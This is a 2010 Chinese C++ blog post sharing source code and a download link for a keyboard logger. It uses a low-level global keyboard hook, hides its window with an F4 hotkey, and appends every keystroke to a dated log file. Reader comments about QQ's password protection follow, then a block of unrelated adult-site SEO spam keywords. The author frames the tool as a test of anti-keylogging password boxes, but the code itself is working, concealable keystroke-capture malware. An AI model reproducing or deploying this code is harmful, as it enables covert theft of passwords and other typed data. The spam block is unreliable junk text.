• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Pencil.C++

            更新速度可能會晚于http://blog.csdn.net/bilaopao

              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理 ::
              34 隨筆 :: 0 文章 :: 40 評論 :: 0 Trackbacks

                最近在研究反監聽密碼框的開發。  做這個東西是為了測試密碼框的效果。 用的是WH_KEYBOARD_LL鉤子。 我暫時還沒找到防止底層鍵盤全局鉤子的方法。QQ的密碼可以用這種方法監聽到,但是不是明文。不知道它是怎么做到的。
                我也給這個工具做了個隱藏鍵 F4  。
                開發工具是VS2008  
                 


            鉤子回調函數中的代碼:

             1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
             2                                      WPARAM wParam,
             3                                      LPARAM lParam
             4                                      )
             5{
             6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
             7    if (nCode<0)
             8    {
             9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            10    }

            11    if (HC_ACTION==nCode)
            12    {
            13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
            14        {
            15            if (VK_F4==kbhs->vkCode)
            16            {
            17                //先判斷窗口是show or hide
            18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
            19                if (IsWindowVisible(m_hWnd2))
            20                {
            21                    ShowWindow(m_hWnd2,SW_HIDE);
            22                    return 0;
            23                }

            24                else
            25                {
            26                    if (NULL==m_hWnd2)
            27                    {
            28                        AfxMessageBox(L"查找失敗!");
            29                        return 0;
            30                    }

            31                    ShowWindow(m_hWnd2,SW_RESTORE);
            32                    //UpdateWindow(m_hWnd);
            33                    BringWindowToTop(m_hWnd);
            34                    SetForegroundWindow(m_hWnd);
            35                    return 1;
            36                }

            37            }

            38
            39                char c[1]; 
            40
            41                c[0]=kbhs->vkCode; 
            42
            43                SaveLog(c); 
            44        }

            45    }

            46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            47}



            字符保存的代碼:

             1void SaveLog(char* c)
             2{
             3    //AfxMessageBox(L"進入存儲程序");
             4    CTime tm=CTime::GetCurrentTime(); 
             5
             6    CString name; 
             7    TCHAR* szPath[MAX_PATH];
             8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
             9    CString path=(LPTSTR)szPath;
            10    path.Replace(L"\\LogerDll.dll",L"");
            11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
            12    path+=name;
            13    
            14    
            15
            16    CFile file; 
            17
            18    if(!file.Open(path,CFile::modeReadWrite)) 
            19
            20    
            21
            22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
            23
            24    }
             
            25
            26    file.SeekToEnd(); 
            27
            28    file.Write(c,1); 
            29
            30    file.Close(); 
            31
            32
            33}




            下載地址:http://m.shnenglu.com/Files/pencil/KeyboardLoger.rar
               

            posted on 2010-01-28 08:43 Pencil.C++ 閱讀(3606) 評論(9)  編輯 收藏 引用 所屬分類: VC

            評論

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 11:33 lo
            qq2009不停的setwindowhook 以保證自己處于hook鏈頂端來加密
            另外使用模擬按鍵來干擾  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:16 test
            你LogerDll.dll 呢?  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:17 Pencil.C++
            在里面了大哥。@test
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:18 Pencil.C++
            謝謝您的分享,我試試。@lo
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:31 test
            大哥 我看到了啊 你好咧啊,我在google閱讀器里看到你的啊,不過你是壞寧,你想干壞事,嘎嘎~  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:32 Pencil.C++
            這個只是個雛形,沒有什么實用意義。呵呵。@test
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:34 test
            好玩唄,  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-29 08:44 Pencil.C++
            實際上,QQ并不是這么做的,最起碼現在的版本不是。@lo
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-29 12:29 zhaoyg
            學習了  回復  更多評論
              

            久久精品国产精品青草app| 久久综合综合久久狠狠狠97色88| 国产免费久久久久久无码| 69久久夜色精品国产69| 99麻豆久久久国产精品免费| 亚洲综合婷婷久久| 亚洲国产精品成人久久蜜臀| 亚洲人成伊人成综合网久久久| 青青热久久综合网伊人| 日韩人妻无码一区二区三区久久99 | 99热成人精品免费久久| 久久人与动人物a级毛片| 国产精品美女久久久m| 亚洲国产天堂久久久久久| 成人免费网站久久久| 伊人久久五月天| 国产精品久久久99| 波多野结衣中文字幕久久| 无码8090精品久久一区| 99久久综合国产精品二区| 久久亚洲春色中文字幕久久久| 无夜精品久久久久久| 精品综合久久久久久88小说 | 国产69精品久久久久99| 人妻无码αv中文字幕久久| 无码精品久久一区二区三区| 精品久久久久久国产三级| 成人资源影音先锋久久资源网| 99久久精品国产一区二区 | 久久久久久综合网天天| 日本久久久久久久久久| 久久九九免费高清视频| 青青青青久久精品国产h| 91精品国产色综久久| 狠狠色丁香婷综合久久| 99麻豆久久久国产精品免费 | 无码人妻精品一区二区三区久久| 一极黄色视频久久网站| 香蕉aa三级久久毛片| 国内精品九九久久精品| 婷婷伊人久久大香线蕉AV |